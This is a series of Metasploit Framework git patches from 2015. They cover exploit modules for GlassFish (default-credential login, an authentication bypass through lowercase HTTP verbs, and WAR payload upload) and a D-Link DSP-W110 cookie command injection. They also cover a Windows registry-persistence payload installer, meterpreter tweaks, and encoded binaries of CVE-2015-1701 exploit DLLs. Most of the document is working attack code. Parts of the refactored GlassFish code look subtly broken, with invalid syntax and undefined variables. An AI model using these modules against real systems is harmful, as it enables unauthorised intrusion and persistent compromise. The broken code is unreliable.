create_credential(credential_data.merge(service_data)) - - login_data = { - core: credential_core, - access_level: "Admin", - status: Metasploit::Model::Login::Status::SUCCESSFUL, - last_attempted_at: DateTime.now - } - - create_credential_login(login_data.merge(service_data)) - end - - def try_default_glassfish_login(version) - if version == '2.x' or version == '9.x' - user = 'admin' - pass = 'adminadmin' - else - user = 'admin' - pass = '' - end - - return try_glassfish_login(version,user,pass) - end - - def try_glassfish_login(version,user,pass,type='default') - success = false - session = '' - res = '' - if version == '2.x' or version == '9.x' - print_status("Trying #{type} credentials for GlassFish 2.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i - res = send_request('/applications/upload.jsf', 'GET', session) - - p = /Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end - - else - print_status("Trying #{type} credentials for GlassFish 3.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i - res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) - - p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end - end - - if success == true - print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") - log_success(user,pass) - else - msg = "#{my_target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" - print_error(msg) - end - - return success, res, session - end - - def try_glassfish_auth_bypass(version) - print_status("Trying GlassFish authentication bypass..") - success = false + sid = false - if version == '2.x' or version == '9.x' - res = send_request('/applications/upload.jsf', 'get') + if version == '2.x' || version == '9.x' + res = send_glassfish_request('/applications/upload.jsf', 'get') p = /<title>Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true + if res && res.code.to_i == 200 && res.body.match(p) != nil + sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); /).flatten.first end else # 3.0 - res = send_request('/common/applications/uploadFrame.jsf', 'get') + res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get') p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true + if res && res.code.to_i == 200 && res.body.match(p) != nil + sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); /).flatten.first end end - if success == true - print_good("#{my_target_host} - GlassFish - SUCCESSFUL authentication bypass") - log_success - else - print_error("#{my_target_host()} - GlassFish - Failed authentication bypass") - end - - return success + sid end def my_target_host - path = normalize_uri(datastore['PATH']) + path = normalize_uri(datastore['PATH']) my_target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" end - def exploit - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] - path = datastore['PATH'] - my_target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" - success = false - session = '' - edition = '' - version = '' - - #Invoke index to gather some info - res = send_request('/common/index.jsf', 'GET') - - #If we get a bad connection, we'd rather not try - if res.nil? - print_error("Unable to get a response from the server") - return + def try_normal_login(version) + case version + when /2\.x|9\.x/ + creds = ['admin adminadmin'] + when /^3\./ + creds = ['admin'] + else + creds = [] end - if res.code == 302 - res = send_request('/login.jsf', 'GET') - end + creds << "#{datastore['USERNAME']} #{datastore['PASSWORD']}" - #Get GlassFish version - edition, version, banner = get_version(res) - print_status("Glassfish edition: #{banner}") + init_loginscanner(creds) - #Get session - res.get_cookies =~ /JSESSIONID=(.*); / - session = $1 - - #Set HTTP verbs. lower-case is used to bypass auth on v3.0 - @verbs = { - 'GET' => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET', - 'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST', - } - - #auth bypass - if version == '3.0' or version == '2.x' or version == '9.x' - success = try_glassfish_auth_bypass(version) - end - - #BUG caused us to skip default cred checks on sun applicaiton server 9.x - if success == false and version != '9.x' - #default credentials - success,res,session_login = try_default_glassfish_login(version) - - if success == false - if ( - ( (version == '2.x' ) and (user != 'admin' or pass != 'adminadmin') ) or - ( (version =~ /^3\./) and (user != 'admin' or pass != '') ) - ) - #non-default login - success,res,session_login = try_glassfish_login(version,user,pass,'non-default') - end + @scanner.version = version + @cred_collection.each do |raw| + cred = raw.to_credential + result = @scanner.attempt_login(cred) + if result == Metasploit::Model::Login::Status::SUCCESSFUL + return @scanner.:jsession end end - #Start attacking - if success - session = session_login if (session_login =~ /\w+/) - #Set target - mytarget = target - mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/ - fail_with(Failure::NoTarget, "Unable to automatically select a target") if (not mytarget) + nil + end - #Generate payload - p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) + def attempt_login(version) + sid = nil - jsp_name = rand_text_alphanumeric(4+rand(32-4)) - app_base = rand_text_alphanumeric(4+rand(32-4)) - - war = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform - }).to_s - - #Upload, execute, cleanup, winning - print_status("Uploading payload...") - res = upload_exec({ - :session => session, - :app_base => app_base, - :jsp_name => jsp_name, - :war => war, - :edition => edition, - :version => version - }) - else - print_error("#{my_target_host()} - GlassFish - Failed to authenticate login") + if version =~ /3\.0|2\.x|9\.x/ + sid = try_glassfish_auth_bypass(version) + return sid if sid end + try_normal_login(version, user, pass, 'non-default') + end + + def make_war + my_target = auto_target(sid, res, version) if target.name =~ /Automatic/ + fail_with(Failure::NoTarget, "Unable to automatically select a target") unless mytarget + + # Generate payload + p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) + + jsp_name = rand_text_alphanumeric(4+rand(32-4)) + app_base = rand_text_alphanumeric(4+rand(32-4)) + + war = p.encoded_war({ + :app_name => app_base, + :jsp_name => jsp_name, + :arch => mytarget.arch, + :platform => mytarget.platform + }).to_s + + return app_base, jsp_name, war + end + + def exploit + # Invoke index to gather some info + res = send_glassfish_request('/common/index.jsf', 'GET') + + if res.code == 302 + res = send_glassfish_request('/login.jsf', 'GET') + end + + # Get GlassFish version + edition, version, banner = get_version(res) + print_status("Glassfish edition: #{banner}") + + # Set HTTP verbs. Lower-case is used to bypass auth on v3.0 + @verbs = { + 'GET' => (version == '3.0' || version == '2.x' || version || '9.x') ? "get" : 'GET', + 'POST' => (version == '3.0' || version == '2.x' || version || '9.x') ? 'post' : 'POST', + } + + sid = attempt_login(version) + + unless sid + fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate login") + end + + app_base, jsp_name, war = make_war + print_status("Uploading payload...") + res = upload_exec({ + :session => sid, + :app_base => app_base, + :jsp_name => jsp_name, + :war => war, + :edition => edition, + :version => version + }) end end From c8dddbff70260321a17ee80497307af10c028c11 Mon Sep 17 00:00:00 2001 From: Michael Messner <devnull@s3cur1ty.de> Date: Wed, 24 Jun 2015 21:32:01 +0200 Subject: [PATCH 0543/1013] server header --- .../linux/http/dlink_dspw110_cookie_noauth_exec.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index 38f31f9672..ae3358f0db 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -18,8 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an anonymous remote upload and code execution vulnerability on different D-Link devices. The vulnerability is a command injection in the cookie handling process of the lighttpd web server when handling specially crafted cookie values. This module has been - successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment and on the real - device. + successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment. }, 'Author' => [ @@ -39,13 +38,13 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Targets' => [ - [ 'MIPS Little Endian', + [ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target { 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], - [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target + [ 'MIPS Big Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE @@ -63,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET', }) - if res && res.headers["Server"] =~ /lighttpd\/1.4.34/ + if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError From e7e8135acd1bd674a1f665289ad0f6d7522d1fef Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 24 Jun 2015 14:28:51 -0500 Subject: [PATCH 0544/1013] Clean up module --- modules/exploits/windows/local/persistence.rb | 89 ++++++++++--------- 1 file changed, 45 insertions(+), 44 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 833c76d007..0cd6a3fe08 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -11,37 +11,38 @@ require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry - include Exploit::EXE + include Msf::Exploit::EXE - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Persistent Registry Startup Payload Installer', - 'Description' => %q{ + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Persistent Registry Startup Payload Installer', + 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', - 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features + 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, - 'DisclosureDate'=> "Oct 19 2011", - 'DefaultOptions'=> + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Oct 19 2011", + 'DefaultOptions' => { - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => 'true' } )) @@ -62,9 +63,9 @@ class Metasploit3 < Msf::Exploit::Local register_advanced_options([ OptBool.new('HANDLER', - [ false, 'Start an exploit/multi/handler job to receive the connection', false]), + [false, 'Start an exploit/multi/handler job to receive the connection', false]), OptBool.new('EXEC_AFTER', - [ false, 'Execute persistent script after installing.', false]) + [false, 'Execute persistent script after installing.', false]) ], self.class) end @@ -75,9 +76,9 @@ class Metasploit3 < Msf::Exploit::Local rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) startup = datastore['STARTUP'].downcase - delay = datastore['DELAY'] || 10 - exc_after = datastore['EXEC_AFTER'] || false - handler = datastore['HANDLER'] || false + delay = datastore['DELAY'] + exec_after = datastore['EXEC_AFTER'] + handler = datastore['HANDLER'] @clean_up_rc = "" rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs' @@ -85,19 +86,19 @@ class Metasploit3 < Msf::Exploit::Local # Connect to the session begin - host, port = session.session_host, session.session_port + host = session.session_host print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue => e - print_error("Could not connect to session") + print_error("Could not connect to session: #{e}") return nil end # Check values - if (is_system?) && (startup == 'user') + if is_system? && startup == 'user' print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!') end - if (handler) && (!datastore['DisablePayloadHandler']) + if handler && !datastore['DisablePayloadHandler'] # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards! print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...") print_warning("Disabling HANDLER...") @@ -141,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Local end # Do we execute the VBS script afterwards? - target_exec(script_on_target) if datastore['EXEC_AFTER'] + target_exec(script_on_target) if exec_after # Create 'clean up' resource file clean_rc = log_file() @@ -170,12 +171,12 @@ class Metasploit3 < Msf::Exploit::Local temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') filepath = temppath + "\\" + filename - if !directory? temppath + unless directory?(temppath) print_error("#{temppath} does not exists on the target") return nil end - if file? filepath + if file?(filepath) print_warning("#{filepath} already exists on the target. Deleting...") begin file_rm(filepath) @@ -198,7 +199,7 @@ class Metasploit3 < Msf::Exploit::Local filepath = nil end - return filepath + filepath end # Installs payload in to the registry HKLM or HKCU @@ -216,16 +217,15 @@ class Metasploit3 < Msf::Exploit::Local regsuccess = false end - return regsuccess + regsuccess end - # Executes script on target and returns true if it was successfully started def target_exec(script_on_target) execsuccess = true print_status("Executing script #{script_on_target}") # Lets give the target a few seconds to catch up... - sleep(3) + Rex.sleep(3) # Error handling for process.execute() can throw a RequestError in send_request. begin @@ -239,7 +239,7 @@ class Metasploit3 < Msf::Exploit::Local execsuccess = false end - return execsuccess + execsuccess end # Starts a exploit/multi/handler session @@ -248,7 +248,8 @@ class Metasploit3 < Msf::Exploit::Local pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport print_status('Starting exploit/multi/handler') - if !check_for_listener(lhost, lport) + + unless check_for_listener(lhost, lport) # Set options for module mh = client.framework.exploits.create('multi/handler') mh.share_datastore(pay.datastore) @@ -260,11 +261,11 @@ class Metasploit3 < Msf::Exploit::Local mh.options.validate(mh.datastore) # Execute showing output mh.exploit_simple( - 'Payload' => mh.datastore['PAYLOAD'], - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'RunAsJob' => true - ) + 'Payload' => mh.datastore['PAYLOAD'], + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'RunAsJob' => true + ) # Check to make sure that the handler is actually valid # If another process has the port open, then the handler will fail @@ -272,7 +273,7 @@ class Metasploit3 < Msf::Exploit::Local # the handler time to fail or the resulting connections from the # target could end up on on a different handler with the wrong payload # or dropped entirely. - select(nil, nil, nil, 5) + Rex.sleep(5) return nil if framework.jobs[mh.job_id.to_s].nil? return mh.job_id.to_s @@ -296,7 +297,7 @@ class Metasploit3 < Msf::Exploit::Local end end end - return false + false end # Function for creating log folder and returning log path @@ -310,10 +311,10 @@ class Metasploit3 < Msf::Exploit::Local # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo) ) + Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo) ) + Rex::FileUtils.clean_path(host + filenameinfo)) end # Create the log directory @@ -321,7 +322,7 @@ class Metasploit3 < Msf::Exploit::Local # logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile + logfile end end From 151fa2f67668dd923d39a24cc6a799d424de5e23 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Wed, 24 Jun 2015 20:50:29 +0100 Subject: [PATCH 0545/1013] Update user info on migrate --- lib/msf/base/sessions/meterpreter.rb | 27 ++++++++++--------- .../ui/console/command_dispatcher/core.rb | 3 +++ 2 files changed, 18 insertions(+), 12 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 35227de609..a389c66a9f 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -319,25 +319,28 @@ class Meterpreter < Rex::Post::Meterpreter::Client false end + def update_session_info + username = self.sys.config.getuid + sysinfo = self.sys.config.sysinfo + + safe_info = "#{username} @ #{sysinfo['Computer']}" + safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) + # Should probably be using Rex::Text.ascii_safe_hex but leave + # this as is for now since "\xNN" is arguably uglier than "_" + # showing up in various places in the UI. + safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") + self.info = safe_info + end + # # Populate the session information. # # Also reports a session_fingerprint note for host os normalization. # - def load_session_info() + def load_session_info begin ::Timeout.timeout(60) do - # Gather username/system information - username = self.sys.config.getuid - sysinfo = self.sys.config.sysinfo - - safe_info = "#{username} @ #{sysinfo['Computer']}" - safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) - # Should probably be using Rex::Text.ascii_safe_hex but leave - # this as is for now since "\xNN" is arguably uglier than "_" - # showing up in various places in the UI. - safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") - self.info = safe_info + update_session_info hobj = nil diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 654b44c5ec..00dd2817c9 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -818,6 +818,9 @@ class Console::CommandDispatcher::Core print_status("Migration completed successfully.") + # Update session info (we may have a new username) + client.update_session_info + unless existing_relays.empty? print_status("Recreating TCP relay(s)...") existing_relays.each do |r| From cea8605365e68e3d4630e2e437a8ad6b0da6cf4a Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 24 Jun 2015 10:34:50 -0700 Subject: [PATCH 0546/1013] Fix #5596 by catching RuntimeError from Rex::Poly --- modules/encoders/x86/shikata_ga_nai.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 3a12766a2f..14487f60bc 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -281,8 +281,9 @@ protected begin # Generate a permutation saving the ECX, ESP, and user defined registers loop_inst.generate(block_generator_register_blacklist, nil, state.badchars) - rescue EncodingError => e - raise EncodingError + rescue RuntimeError, EncodingError => e + # The Rex::Poly block generator can raise RuntimeError variants + raise EncodingError, e.to_s end end From 2807fb4f93d8013921dfd7642ae146c01113ced4 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 24 Jun 2015 16:15:01 -0500 Subject: [PATCH 0547/1013] Bump the default timeout to 30 seconds based on feedback --- lib/msf/base/sessions/meterpreter_options.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 0d8c7b3b70..789f25c801 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -13,7 +13,7 @@ module MeterpreterOptions [ OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]), OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]), - OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 10]), + OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]), OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), From 24a6e4c1106ccbeaaaf268d41aaecbfe625ff07d Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 24 Jun 2015 16:33:07 -0500 Subject: [PATCH 0548/1013] Comment update --- lib/rex/post/meterpreter/client_core.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 48333cdde8..e144707c4f 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -320,7 +320,9 @@ class ClientCore < Extension # Normalise the format of the incoming machine id so that it's consistent # regardless of case and leading/trailing spaces. This means that the - # individual meterpreters don't have to care + # individual meterpreters don't have to care. + + # Note that the machine ID may be blank or nil and that is OK Rex::Text.md5(mid.to_s.downcase.strip) end From 4fc4cd86db83a2a6573183de2b14b76270d3a710 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 25 Jun 2015 09:28:38 +1000 Subject: [PATCH 0549/1013] Update exploit binaries for ms15-051 --- .../CVE-2015-1701/cve-2015-1701.x64.dll | Bin 84992 -> 84992 bytes .../CVE-2015-1701/cve-2015-1701.x86.dll | Bin 72192 -> 72192 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll index e049e41ec77c819496d5a1d2ccaaae216d5f11af..0aa4a0913bd4526902f38d476a7ebb3c51df7f4f 100755 GIT binary patch delta 4483 zcmd6qk5^P>8pq#vU<}1^@W)M*AI|2ekeDM-jRJ}ab|*o{#66^xL!eSeTM}?59h+eR zak$JzU0tZ$jap8%MlN<ujNBT6%|ThUtP_@dsw3N>#j{~jk!5$k&)jSKFKp+0`F!8! z{r$ereaCz)Mqi7uX)L1GE<N>Qe#8$3gS?tMxLZERFLSr@xZ$~R+$Ia-i}_jkxA?nV zxj4Rw&pyu>TWmMi{uLAhc~(nTBxg(&E}URY3e^S8wFl+KXvf5DD2vjFSQo4;lD~+) zb<M%IC~#Jc_`B#g4rOulx!!p*6xhQN{UjW{MA5oWE2pW#53qSsPud5f6jFuDR0<rj z+6;`zSrg;DV$GE#F<{EV$g1#hxLdHwDAx2Q^@suCuJD8*DvIhHH>&&f|ES;4JF2Rt z_0jrLMadZ@N-Rgpj><>*wmiwS4oeXOD`N5%i(^$rpPg4u71eIBCK&6;2<`kTEr?+S znkLd=?#y|2irD>mj2PWL{8hhvX=0`$dp+i`NT!^%7^bGwY776hW5@!lO%?u_Nuw87 z?Qcfn7*!!aWhsxU8gy$Hr2$p&$mJ$s-XpYBn$fbUN81AJpeAbv+OjJ1&=aUXWh|19 znk;uO4EGl-VO$jJV}@S)Syl5S<JRzngt~r0V^y$+OJ~Ak;&iUcQIl5jZ{)R;61;=g zRkeEWm7@uand^6lFZVBR&_#uY9zf^Zw87e-xvn@|(Si!xTRvw)2T_-|c+S!c&djwd zQHvD^JXTl0>6A`iJ1ho_7qAe2fz{Q;yr}IH{W;b$Rmi7%Ln66Ef36R$HkxQ@{@hko zSdA)k=fGCVs&6RYq&4omK){Z{m*e!JM89cd31<!|zc4qDW6c(;yE{;a@cRfOCyy~k zeGiBG8c)jG%vSFvtis%RL9CC;P3z0WBK;;0TBr5p_)D!x^v9wKhmSK>leGtNE=prn z6CBdnp`AFFVH5IAzyejF8H0;;YULs^kl&#VmG*%uw4$dpRx_qn#!`hU)FYs|D!97o zYSlS&=NX6eu_|mpfD)QfLhlH~E&Jc)s;4V&t+{TjvS4`~i#emboaXRH4Vw{o9svig z<J1jRJ%J4)xsdYx{mKI|ZJf)pVaoUX&+_#tqdZmqdTJcMRf(Q<BZ422$H%UoA+}Td z)lsTHV)&M!jgxQ{pGxOcAzRrIdp9?X9hP63(QK$cEH9fG%eTmdGrRbU%G9{coUc$S z;@5NjoqQ@Gfe*<4N?5S+#g{PH;#;Z=!<WU3pLaeaN@i6!NI_{JtxpwxN7jFfdO?&- zf5Nw*3T~|u<$d9DnY<xU;)BW;iQ}VqmpnXo9d{{N^BUv$HRbe*bw>V-951e)obRER zU<BPZ&7onkWS_V<v2za%Zyd1FdGxEo%i(f_7{K;~XXQA@7M?CwJDmKo{DH&D-;=+0 zWbg(h?cTdMUoSth`UpRy%*gx9IJ12xy<S5fjUq!MhCdo=hY5dxvNGkqi!r=UzVc8e z_sGd5qIYF6CJhLAKHB9OOuytB<%7pXWjs@}wff9o>Te6z7u~Fn(CX8Fsh<$8&%9ZG znT+2Ui735J7R;5TwN-`bE+&tZjN@<1-<K@o`{cVzt&@wx9ZkFOg@l*9PTpR+A@j%0 zTK8o2JTjODnuWvr_9~(oXDg?w!Y6tIynN@hHj?Q*RI5Tzxl#Jjr06aueLYnZR3W7N zvtpOQlDvjKTl%0rL&By7k^JLxYX{A>eJHBJ6s2O<E<^NNt8tVg!zNWYs*JjmBY3@> z=qcc-N`+^01XAgO_f;PKpB3S;ku33wzxqqgzg5a>7V~Ij+08kx%ExM-=i`-vx>5UN z*CNVt#wv9-$i;6jTU3;)MIY5!tMh=)Hl4?G_I6HA;M@4}9KCGQnW%Gu&hPYD26dj- zc~a*Q<*^_>vxe?Oxx718d8K>ry6N~4jKrS!O^!3Laj6DdvwbSJ<8(S7oywO+(Qj>Y zXB;mUT4^Z!l)7!&7HD(M<^}P*<o|82&2J|1gPldQ_%3dm#dF;cS2}n8resS+Md$k# zULWTzjAd*hK1mnY1X<x*z-v$nyln<!&qC?&tzZw73EvNzXEK%p9}C9E;{%7cf}5c2 z@Z})G&yX8F20R6M;6vcNS&aGSa4$=O*#dRU<*W?cZ(*zzjfe%eVNvrC2cMhGSP1b$ z-~g0@IPoXl6Q8i+8WwQo16RyJ9opxBJrK3;1&5%PB>dok$#cD0Mao=sfT&Rp*f38U zs1bY}3U>xKCTYG5RCIp~oR+LDl$a0EBFexUw=-tL#@KwuED%kc0^WZIV=lytyfEh= z+WmR3XCY%j_+C(2gdBr!1pk)G*cJF7cmrZsC`)6k9g2b{wx;7`QgBV6=}s&P@fffg zvcQjmv+mLsVF9;8UfLO%txL3>m4i>}z6tEmJ#k?M@&N5^;9=djg9|eCI9LXScMrDe zo>;vU`GLN*U<jf%pqH&(rX8IVG-YD|G>QQqgXmOZmos(*pC;u&!Ai#Zpf>n^@Qxg9 zARAZ+(eV;luC^KCUdWA8@qv?8Y2(CzSMOoWp5(=`z#I`7>&2iQ;OM<b5_sZ^`HaP4 z&^GW7Ymkuet)OwOb{$dRT&NrqB!MLmEus{BS@#3rJ@?`9LtF&QAZkNA?!_NEiWA^~ zUg2BM*gv3FG-3set%Smf39i|Ig(B_*w?W~7z!xAIrw#0ZM$x7h`~spjgW&XEYvUAx zQXwTRXWkB&4<QkS&%rUs3D54wYX}v<$AFWeLilN5J4BNaFF`Z`ars7lp<tEnhrr@Z zj1{4;8@ve7W=6o4BHVvDDqz@}2ekWkg0mmgycK*KqRE2b>CHGswC@M)F5EK)BBqvV z@pRC#jj=|wAs&Z3@F&1K9>&SR+rW0{7<~J~UL+I>w1a+d;Un7Wvcb*J2pW}x&u+)b zz_)?PJG3?_V6*OzfxbtzI57y(n8dWl@DQPII=BO(xCeZnycdNJVIJJ6eL^nqX^0vf z0B2Vq0dME53H;X0SQ7jgnE1HX#sYeE?*scGI$mP#ZtWBcz$JSSN8e0v5ZVq;^v?G% zb^wKJ@b}OO_$KfoL<3y{U)zfvA>IKN;KV}k#Q8qlKYR*ks%9*5K5_-*e!P0{k>C>$ zU7rv95-LEPHQ=`Za?i*6AA)g7xHD7`Cp6;D;3tAUh)$v%{2HR~cm%vNpm{rZ2BLSO zA53@>8$jPAuo|L8*Mj#n;Uz^}1PxDV3yK6Yp299@mzgLOK{Oe$85%=}7I53s_*5`) z8MshJ(!rkx_dSE_fZq=;eO~j~;0rI~r9-?83_&ywan&o@J0XH&uQGNLZN|JXS6{=g z9txx2@DaRj@K?b64(&a6g1<V7WJKHw7QT)*A4lo}zk}#hn8H{#<bxN%QxL^3fj_^2 zuLAAaamIE-6!(B<@xNzYJ1RzC(%-}z08dmQx--^=hX|^KKM&Twg;Rpx50;$7HNlsH znWu1l@J?_S^a`$n_>S(01G*<()jjBCLP+aCwCSFhuY2NF-Is$+x+k{jp7^friT~C; qF``c!pBS%u;+<iSf5(x@(<_Ljx+m_{J@J6%<!(bmCtt-?<9`8N|G>lm delta 4585 zcmd6qk6Tn#8pq!QjG-_x{<wvxIIELFqM}%$qM(A^QP3%&C`d6V(Xdd!sGu1FwCOTM z-V%0oH|=4oRdUHOQEF=xH$Yh>tzBH*jmlbfaW^bV*225rckZ>nVSS!2pYM6k?{nUJ zKv%uVRd1>t44h*teEG+;z=Fqwx>DFhf%>ZWQWSWf3fMhN#H-Tq_2SR!llWQey)e91 zOlc#c`SD>@Z-BBV)n;u85=5GG@hFkfUhNC3s!?k~?4eJfEGzwTwXb-M`gzE$PS1NB zI3oxCQFfawiv{{zZ`MPegeXn=iVM{ji^pnG0Q#mXt#RjMrCpP*pd!_?#}*sFt=sHM zmc_0-7H(IHtajzgb*-Jozoa#C<rS;!F)zbR`gm~{dH&V1M@n@1r^j&H{gbwH#k|U= zEa9n2Qn0L$;s`F8CRd*;o-8ZohZhO5dy*{je0i|M<cb%?V`Z&XuJnb=3;(+HpK(69 z@}xDZRrUmBEeUH*_KlX0_gLhR*1mt-T#Q`#MSn`%xwPtzVrhjE^s%g(%~PDRa#D6@ zhTqQ%Rm}IT79>~Z1oICI4$~2=Nrw^yDTCF%(iGW~Zi_z_gk#pEJvXDXWF^%Wt4Ur2 